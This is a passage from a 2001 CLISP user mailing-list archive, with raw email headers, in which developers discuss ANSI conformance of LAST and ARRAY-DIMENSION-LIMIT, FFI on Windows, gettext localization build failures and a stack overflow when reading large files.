Cheers, Andrew From bruce253@163.net Sun Sep 02 19:44:27 2001 Received: from [211.101.185.130] (helo=CLUBSVR) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15djis-0002qk-00 for ; Sun, 02 Sep 2001 19:44:26 -0700 Received: from [211.101.185.131] by CLUBSVR (ArGoSoft Mail Server Pro for WinNT/2000, Version 1.62 (1.6.2.1)); Mon, 3 Sep 2001 10:50:01 Message-ID: <3B92EE67.7010301@163.net> From: Bruce User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010808 X-Accept-Language: zh-cn, en MIME-Version: 1.0 To: clisp-list Subject: Re: [clisp-list] last built-in function References: <20010903123046.A1979@grover> Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 2 19:45:01 2001 X-Original-Date: Mon, 03 Sep 2001 10:43:51 +0800 andrew@thesoftwaresmith.com.au wrote: > According to the common lisp hyperspec > > (last '(a.b) 0) => b > > but clisp 2.27 on debian "potato" linux returns nil. CLHS: If n is zero, the atom that terminates the list is returned. CLISP implementation is conformant. Maybe you mean (last '(a . b) 0) => B and that is what CLISP does. Best! -- Give your very best today. Heaven knows it's little enough. From wbuss@gmx.net Mon Sep 03 06:08:06 2001 Received: from mail.gmx.net ([213.165.64.20]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15dtSP-0006xW-00 for ; Mon, 03 Sep 2001 06:08:06 -0700 Received: (qmail 10865 invoked by uid 0); 3 Sep 2001 13:07:54 -0000 Received: from p3ee24c9f.dip.t-dialin.net (HELO minka.katzen.ol) (62.226.76.159) by mail.gmx.net (mp010-rz3) with SMTP; 3 Sep 2001 13:07:54 -0000 Received: by minka.katzen.ol (Postfix, from userid 500) id 7DAA11AB0AE; Mon, 3 Sep 2001 15:07:54 +0200 (MEST) To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: <4nzo8hbd3d.fsf@rtp.ericsson.se> <4nk7zk8dtk.fsf@rtp.ericsson.se> <4nu1yo6q94.fsf@rtp.ericsson.se> <15249.2166.136976.231618@isis.cs3-inc.com> From: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) In-Reply-To: don-sourceforge@isis.cs3-inc.com's message of "Sat, 1 Sep 2001 09:10:30 -0700" Message-ID: Lines: 45 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 3 06:09:03 2001 X-Original-Date: 03 Sep 2001 15:07:54 +0200 I wrote: > Integers are currently implemented as a subset of the fixnums of > the underlying Common Lisp. Nonsense. ACL2 integers are the _integers_ of the underlying CL. Apologies for the confusion. don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > I'd find it hard to believe, for instance, that arrays are not > allowed to hold arbitrary integers. I was talking about indices. The immutable applicative one or two-dimensional arrays of ACL2 may hold arbitrary objects. > Wolfhard> The implementation depends on the fixnum > Wolfhard> array-total-size-limit. It's > Wolfhard> probably conceptually impossible to change this. > Do you have any evidence of that? (or (typep array-dimension-limit 'fixnum) (error "We assume that ARRAY-DIMENSION-LIMIT is a fixnum. CLTL2 ~ requires this. ACL2 will not work in this Common Lisp.")) > Raymond> But why? Why not just delete the offending code in ACL2 that > Raymond> figures out that array-total-size-limit is not a fixnum? > Wolfhard> Why not fixing clisp's ansi mode? :) > Clearly this problem can be fixed in different places. If you can > find some compelling arguments for NOT changing the application (ACL) > then I'd like to hear them. I've not heard any so far. Work. Economy. Fix clisp's ansi mode, and I don't have to change the application wrt array-dimension-limit and the community is happy because of clisp with ansi mode. However, thanks for responding. Wolfhard From don-sourceforge@isis.cs3-inc.com Mon Sep 03 08:02:02 2001 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15dvEf-00006O-00 for ; Mon, 03 Sep 2001 08:02:01 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id f83F0Hx25745; Mon, 3 Sep 2001 08:00:17 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) Message-ID: <15251.39680.965941.157791@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit In-Reply-To: References: <4nzo8hbd3d.fsf@rtp.ericsson.se> <4nk7zk8dtk.fsf@rtp.ericsson.se> <4nu1yo6q94.fsf@rtp.ericsson.se> <15249.2166.136976.231618@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 3 08:03:01 2001 X-Original-Date: Mon, 3 Sep 2001 08:00:16 -0700 Wolfhard =?iso-8859-1?q?Bu=DF?= writes: > I wrote: > > > Integers are currently implemented as a subset of the fixnums of > > the underlying Common Lisp. > > Nonsense. ACL2 integers are the _integers_ of the underlying CL. > Apologies for the confusion. Good. As I expected. > > Wolfhard> The implementation depends on the fixnum > > Wolfhard> array-total-size-limit. It's > > Wolfhard> probably conceptually impossible to change this. > > > Do you have any evidence of that? > > (or (typep array-dimension-limit 'fixnum) > (error "We assume that ARRAY-DIMENSION-LIMIT is a fixnum. CLTL2 ~ > requires this. ACL2 will not work in this Common Lisp.")) This is not very good evidence that it's conceptually hard to change. You might, for instance, comment out the error and see what goes wrong. Or you might just ask the authors of acl2 what would have to be fixed to generalize this fixnum to integer. > > Wolfhard> Why not fixing clisp's ansi mode? :) > > > Clearly this problem can be fixed in different places. If you can > > find some compelling arguments for NOT changing the application (ACL) > > then I'd like to hear them. I've not heard any so far. > > Work. Economy. Fix clisp's ansi mode, and I don't have to change the > application wrt array-dimension-limit and the community is happy > because of clisp with ansi mode. Conversely, fix acl2 and you don't have to fix clisp. This argument doesn't seem to favor one over the other. I admit that I'd expect it to be easy to change clisp, and you could certainly do this on your own local copy. But I'd also expect that acl2 would be easy to fix, and that would be preferable for the reason in my last message. From sds@gnu.org Mon Sep 03 08:10:45 2001 Received: from out4.prserv.net ([32.97.166.34] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15dvN7-0001SH-00 for ; Mon, 03 Sep 2001 08:10:45 -0700 Received: from xchange.com (slip-32-100-243-90.ma.us.prserv.net[32.100.243.90]) by prserv.net (out4) with ESMTP id <20010903151040204049iip4e>; Mon, 3 Sep 2001 15:10:43 +0000 To: mats_bergstrom@yahoo.no (Mats =?iso-8859-1?q?Bergstr=F8m?=) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI and win32 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 3 08:11:03 2001 X-Original-Date: 03 Sep 2001 11:09:45 -0400 > * In message > * On the subject of "[clisp-list] FFI and win32" > * Sent on 24 Aug 2001 17:06:27 +0200 > * Honorable mats_bergstrom@yahoo.no (Mats Bergstr=F8m) writes: > > I'm trying to use FFI on win32. In the impnotes.html document (with > CLISP 2.25, released 2001-03-15), section "Extensions-2.3. The Foreign > Function Call Facility", there are two linking examples (29.4, 29.5), > but both make use of the module facility ("Extensions-2.2. External > Modules"). But this doesn't work on win32 since modules are Unix > specific. yes, this is very unfortunate. you can try to port the examples to win32: either using the cygwin tools or directly: clisp-link.sh is just a shell script, so porting it to cmd.exe should not be too hard. just go ahead and try it, and send us the results! --=20 Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I don't want to be young again, I just don't want to get any older. From csr21@cam.ac.uk Mon Sep 03 08:11:20 2001 Received: from mauve.csi.cam.ac.uk ([131.111.8.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15dvNe-0001iN-00 for ; Mon, 03 Sep 2001 08:11:18 -0700 Received: from [131.111.243.37] (helo=lambda.jesus.cam.ac.uk) by mauve.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 15dvNO-0004Kf-00; Mon, 03 Sep 2001 16:11:02 +0100 Received: from csr21 by lambda.jesus.cam.ac.uk with local (Exim 3.32 #1 (Debian)) id 15dvMp-0003Oe-00; Mon, 03 Sep 2001 16:10:27 +0100 To: Don Cohen Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit Message-ID: <20010903161027.A13053@cam.ac.uk> References: <4nzo8hbd3d.fsf@rtp.ericsson.se> <4nk7zk8dtk.fsf@rtp.ericsson.se> <4nu1yo6q94.fsf@rtp.ericsson.se> <15249.2166.136976.231618@isis.cs3-inc.com> <15251.39680.965941.157791@isis.cs3-inc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <15251.39680.965941.157791@isis.cs3-inc.com> User-Agent: Mutt/1.3.20i From: Christophe Rhodes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 3 08:12:01 2001 X-Original-Date: Mon, 3 Sep 2001 16:10:27 +0100 On Mon, Sep 03, 2001 at 08:00:16AM -0700, Don Cohen wrote: > Wolfhard =?iso-8859-1?q?Bu=DF?= writes: > > Work. Economy. Fix clisp's ansi mode, and I don't have to change the > > application wrt array-dimension-limit and the community is happy > > because of clisp with ansi mode. > > Conversely, fix acl2 and you don't have to fix clisp. This argument > doesn't seem to favor one over the other. Oh, yes it does. Standards-compliance in a mode that aims to be standard-compliant is a good thing. Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) From marcoxa@cs.nyu.edu Mon Sep 03 10:10:27 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15dxEw-000885-00 for ; Mon, 03 Sep 2001 10:10:26 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id NAA01988; Mon, 3 Sep 2001 13:06:26 -0400 Message-Id: <200109031706.NAA01988@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: toy@rtp.ericsson.se CC: wbuss@gmx.net, clisp-list@lists.sourceforge.net In-reply-to: <4nk7zk8dtk.fsf@rtp.ericsson.se> (message from Raymond Toy on 31 Aug 2001 11:11:03 -0400) Subject: Re: [clisp-list] array-dimension-limit References: <4nzo8hbd3d.fsf@rtp.ericsson.se> <4nk7zk8dtk.fsf@rtp.ericsson.se> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 3 10:11:02 2001 X-Original-Date: Mon, 3 Sep 2001 13:06:26 -0400 > X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f > Cc: clisp-list@lists.sourceforge.net > From: Raymond Toy > User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (artichoke) > Content-Type: text/plain; charset=iso-8859-1 > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.5 > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > Date: 31 Aug 2001 11:11:03 -0400 > X-Filter-Version: 1.7 (cat) > X-MIME-Autoconverted: from quoted-printable to 8bit by cat.nyu.edu id f7VIv0a26659 > Content-Length: 1367 > > >>>>> "Wolfhard" == Wolfhard Buß writes: > > Wolfhard> Sam Steingold writes: > >> ARRAY-TOTAL-SIZE-LIMIT is > >> "The upper exclusive bound on the array total size of an array." > >> thus if ARRAY-TOTAL-SIZE-LIMIT == MOST-POSITIVE-FIXNUM, we cannot do > >> (make-array most-positive-fixnum) > >> > >> thus the choice is > >> (1) disable (make-array most-positive-fixnum) > >> (2) break the standard by either > >> - ARRAY-TOTAL-SIZE-LIMIT is not fixnum > >> - ARRAY-TOTAL-SIZE-LIMIT is the inclusive, not exclusive bound. > >> > >> I don't like any of the solutions. > >> Since the whole idea of ARRAY-TOTAL-SIZE-LIMIT being a fixnum is to > >> allow efficient arithmetics on array indexes and CLISP ignores type > >> declarations anyway, the current non-compliance should not matter. > > > Wolfhard> There is at least one piece of software, i.e. ACL2, that depends on > > Wolfhard> (typep array-total-size-limit 'fixnum) > Wolfhard> => T > > Why does it care and what is ACL2? > > I have to say I don't understand why any piece of code (other than the > lisp internals) would really care that array-total-size-limit is or is > not a fixnum. (deftype my-index-type () `(integer 42 ,array-total-size-limit)) In theory a CL implementation could (and CMUCL can) recognize that MY-INDEX-TYPE is a type spec that can fit in a FIXNUM. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From Bernard.Urban@meteo.fr Tue Sep 04 10:39:24 2001 Received: from merceron.meteo.fr ([137.129.26.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15eKAU-0000V9-00 for ; Tue, 04 Sep 2001 10:39:22 -0700 To: clisp-list@lists.sourceforge.net From: Bernard Urban Message-ID: <87u1yizwhr.fsf@merceron.meteo.fr> Lines: 49 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] internationalization problem on clisp-2.27 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 4 10:40:02 2001 X-Original-Date: 04 Sep 2001 19:39:12 +0200 Last April, I was able to solve an internationalization problem (that is: "clisp -L french" gives me french messages) on clisp-2.25 using the following advice: >>> "Sam" == Sam Steingold <> writes: >> >> > * In message >> > <> >>> * On the subject of "Re: [clisp-list] internationalization >> > problem" * Sent on 12 Apr 2001 16:45:22 +0200 * Honorable >> > bernard URBAN <> writes: >> > > > "Sam" == Sam Steingold <> writes: >> > Sam> Please try the following: - build libiconv (part of CLISP) - >> Sam> install libiconv - reconfigure and re-build CLISP. >> > Done, but problem remains the same. >> >> Sam> Here is what you should have done: >> >> Sam> 1) make distclean in the CLISP directory. 2) cd libiconv >> Sam> ./configure --disable-shared make make install make distclean >> Sam> 3) set the environment variables CPPFLAGS=-I/..../include so >> Sam> that it will find LDFLAGS=-L/..../lib so that it >> Sam> will find libiconv.a and export them Here "...." is the path >> Sam> where the previous "make install" installed the files iconv.h >> Sam> and libiconv.a 4) back to CLISP main directory ./configure >> Sam> and continue as usual >> >> Sam> Does this help? >> >>Yes, it works !!! (tested on Solaris, I will try on Linux Debian later) ^^^^^^^^^^^^ It worked also for clisp-2.25. >>In all cases, clisp builds the libiconv.a in its distribution, so it >>does not make sense to TEST for an external iconv in the configure process. >> This no longer works with clisp-2.27, with the same machines as above and same OS as in April. (I even moved the old clisp-2.25 files to avoid a possible interference) Any hints ? Regards. -- Bernard Urban From sds@gnu.org Tue Sep 04 15:59:18 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ePA6-0007NG-00 for ; Tue, 04 Sep 2001 15:59:18 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id SAA29390; Tue, 4 Sep 2001 18:59:14 -0400 (EDT) X-Envelope-To: To: Bernard Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87u1yizwhr.fsf@merceron.meteo.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87u1yizwhr.fsf@merceron.meteo.fr> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.106 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 4 16:00:02 2001 X-Original-Date: 04 Sep 2001 18:58:18 -0400 > * In message <87u1yizwhr.fsf@merceron.meteo.fr> > * On the subject of "[clisp-list] internationalization problem on clisp-2.27" > * Sent on 04 Sep 2001 19:39:12 +0200 > * Honorable Bernard Urban writes: > > Last April, I was able to solve an internationalization problem > (that is: "clisp -L french" gives me french messages) on > clisp-2.25 using the following advice: > > >> Sam> 1) make distclean in the CLISP directory. 2) cd libiconv > >> Sam> ./configure --disable-shared make make install make distclean > >> Sam> 3) set the environment variables CPPFLAGS=-I/..../include so > >> Sam> that it will find LDFLAGS=-L/..../lib so that it > >> Sam> will find libiconv.a and export them Here "...." is the path > >> Sam> where the previous "make install" installed the files iconv.h > >> Sam> and libiconv.a 4) back to CLISP main directory ./configure > >> Sam> and continue as usual > > This no longer works with clisp-2.27, with the same machines as above > and same OS as in April. (I even moved the old clisp-2.25 files to > avoid a possible interference) this problem is disturbing. yes, I do observe it from time to time, but a clean build always helps. please do this: $ rm -rf build $ ./configure --build build $ cd build $ ./.clisp -q -norc -L french -x '(/ 0)' -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The only intuitive interface is the nipple. The rest has to be learned. From Bernard.Urban@meteo.fr Wed Sep 05 02:41:18 2001 Received: from merceron.meteo.fr ([137.129.26.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15eZBL-0004Ct-00 for ; Wed, 05 Sep 2001 02:41:15 -0700 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] internationalization problem on clisp-2.27 References: <87u1yizwhr.fsf@merceron.meteo.fr> From: Bernard Urban In-Reply-To: Message-ID: <87y9num0uo.fsf@merceron.meteo.fr> Lines: 48 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 5 02:42:02 2001 X-Original-Date: 05 Sep 2001 11:41:03 +0200 Sam Steingold writes: > > * In message <87u1yizwhr.fsf@merceron.meteo.fr> > > * On the subject of "[clisp-list] internationalization problem on clisp-2.27" > > * Sent on 04 Sep 2001 19:39:12 +0200 > > * Honorable Bernard Urban writes: > > > > Last April, I was able to solve an internationalization problem > > (that is: "clisp -L french" gives me french messages) on > > clisp-2.25 using the following advice: > > > > >> Sam> 1) make distclean in the CLISP directory. 2) cd libiconv > > >> Sam> ./configure --disable-shared make make install make distclean > > >> Sam> 3) set the environment variables CPPFLAGS=-I/..../include so > > >> Sam> that it will find LDFLAGS=-L/..../lib so that it > > >> Sam> will find libiconv.a and export them Here "...." is the path > > >> Sam> where the previous "make install" installed the files iconv.h > > >> Sam> and libiconv.a 4) back to CLISP main directory ./configure > > >> Sam> and continue as usual > > > > This no longer works with clisp-2.27, with the same machines as above > > and same OS as in April. (I even moved the old clisp-2.25 files to > > avoid a possible interference) > > this problem is disturbing. > yes, I do observe it from time to time, but a clean build always helps. > please do this: > > $ rm -rf build > $ ./configure --build build > $ cd build > $ ./.clisp -q -norc -L french -x '(/ 0)' Sorry, does not solve the problem. For your information, build/Makefile was created with ./makemake --with-readline --with-gettext --with-dynamic-ffi I have tried to see if the message "division by 0" in the source is really preceded by a call to a *gettext function by using the cpp output, the answer is yes. So the problem seems to be related to these functions. -- Bernard Urban From wester@ilt.fhg.de Wed Sep 05 05:09:27 2001 Received: from mailgw1.fhg.de ([153.96.1.2]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ebUj-0004JK-00 for ; Wed, 05 Sep 2001 05:09:25 -0700 Received: from ilt.fhg.de (ilt.ilt.fhg.de [153.96.180.2]) by mailgw1.fhg.de (8.11.1/8.11.1) with ESMTP id f85C9IO18878 for ; Wed, 5 Sep 2001 14:09:19 +0200 (MET DST) Received: from eent359 (eelta135.llt.RWTH-Aachen.DE [137.226.47.135]) by ilt.fhg.de (8.9.3/8.9.3) with ESMTP id OAA26992 for ; Wed, 5 Sep 2001 14:09:20 +0200 (MET DST) From: "Rolf Wester" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Message-ID: <3B96320E.11873.2F5FBAB2@localhost> Priority: normal X-mailer: Pegasus Mail for Win32 (v3.12cDE) Subject: [clisp-list] Program stack overflow Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 5 05:10:02 2001 X-Original-Date: Wed, 5 Sep 2001 14:09:18 +0200 Hi, I'm using CLISP on Windows NT. When running: (defun read-file (name) (let ((x (make-array '(1046529) :element-type :single-float :initial-element 0.0 :fill-pointer 0 :adjustable t)) (y (make-array '(1046529) :element-type :single-float :initial-element 0.0 :fill-pointer 0 :adjustable t)) (z (make-array '(1046529) :element-type :single-float :initial-element 0.0 :fill-pointer 0 :adjustable t))) (with-open-file (in name) (do ((xx (read in nil 'eof) (read in nil 'eof)) (yy (read in nil 'eof) (read in nil 'eof)) (zz (read in nil 'eof) (read in nil 'eof))) ((eql zz 'eof)) (progn (vector-push-extend xx x) (vector-push-extend yy y) (vector-push-extend zz z)))) (values x y z))) (compile 'read-file) (setf result (multiple-value-bind (mx my mz) (read-file "big_file.txt") (list mx my mz))) (progn (setq result (multiple-value-call #'list (read-file "big_file.txt"))) nil) on a big file (about 27 MB) I get the message: *** - Program stack overflow. RESET *** - Program stack overflow. RESET and so on. With a small file everything works as expected. I originally posted this to comp.lang.lisp and got an answer from Sam Steingold. He wrote: > I am pretty sure this is the printer problem: you probably have > *print-circle* set to T or something. *print-circle* is set to NIL. >try >(progn >(setq result (multiple-value-call #'list (read-file "big_file.txt"))) >nil) I tried this but got the same error messages as before. I would be very appreciative for help. Rolf Wester ------------------------------------- Rolf Wester wester@ilt.fhg.de From Randy.Justice@cnet.navy.mil Wed Sep 05 05:33:18 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15ebrL-0006Vd-00 for ; Wed, 05 Sep 2001 05:32:47 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id HAA08940 for ; Wed, 5 Sep 2001 07:31:59 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id ; Wed, 5 Sep 2001 07:32:49 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Program stack overflow MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C13606.DEDFD800" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 5 05:34:02 2001 X-Original-Date: Wed, 5 Sep 2001 07:32:48 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C13606.DEDFD800 Content-Type: text/plain; charset="iso-8859-1" Look at the "-m" on start up. In my experience the "-m" will increase it some, but there is a limit. I don't know what the limit is. At this point, I went to a better OS. If you are "stuck" with NT look at product called VMWARE. One can run a linux box inside of an NT box. I do some small testing with VMWARE and Linux and have gotten good results even with "large" objects. Randy Justice -----Original Message----- From: Rolf Wester [mailto:wester@ilt.fhg.de] Sent: Wednesday, September 05, 2001 7:09 AM To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Program stack overflow Hi, I'm using CLISP on Windows NT. When running: (defun read-file (name) (let ((x (make-array '(1046529) :element-type :single-float :initial-element 0.0 :fill-pointer 0 :adjustable t)) (y (make-array '(1046529) :element-type :single-float :initial-element 0.0 :fill-pointer 0 :adjustable t)) (z (make-array '(1046529) :element-type :single-float :initial-element 0.0 :fill-pointer 0 :adjustable t))) (with-open-file (in name) (do ((xx (read in nil 'eof) (read in nil 'eof)) (yy (read in nil 'eof) (read in nil 'eof)) (zz (read in nil 'eof) (read in nil 'eof))) ((eql zz 'eof)) (progn (vector-push-extend xx x) (vector-push-extend yy y) (vector-push-extend zz z)))) (values x y z))) (compile 'read-file) (setf result (multiple-value-bind (mx my mz) (read-file "big_file.txt") (list mx my mz))) (progn (setq result (multiple-value-call #'list (read-file "big_file.txt"))) nil) on a big file (about 27 MB) I get the message: *** - Program stack overflow. RESET *** - Program stack overflow. RESET and so on. With a small file everything works as expected. I originally posted this to comp.lang.lisp and got an answer from Sam Steingold. He wrote: > I am pretty sure this is the printer problem: you probably have > *print-circle* set to T or something. *print-circle* is set to NIL. >try >(progn >(setq result (multiple-value-call #'list (read-file "big_file.txt"))) >nil) I tried this but got the same error messages as before. I would be very appreciative for help. Rolf Wester ------------------------------------- Rolf Wester wester@ilt.fhg.de _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list ------_=_NextPart_001_01C13606.DEDFD800 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] Program stack overflow

Look at the "-m" on start up.  In my = experience the "-m" will increase it some, but there is a = limit.
I don't know what the limit is. At this point, I = went to a better OS.  If you are "stuck" with NT
look at product called VMWARE.  One can run a = linux box inside of an NT box.  I do some small
testing with VMWARE and Linux and have gotten good = results even with "large" objects.     =

Randy Justice

-----Original Message-----
From: Rolf Wester [mailto:wester@ilt.fhg.de]
Sent: Wednesday, September 05, 2001 7:09 AM
To: clisp-list@lists.sourceforge.net
Subject: [clisp-list] Program stack overflow


Hi,

I'm using CLISP on Windows NT. When running:

(defun read-file (name)
  (let ((x (make-array '(1046529) :element-type = :single-float :initial-element 0.0 :fill-pointer 0
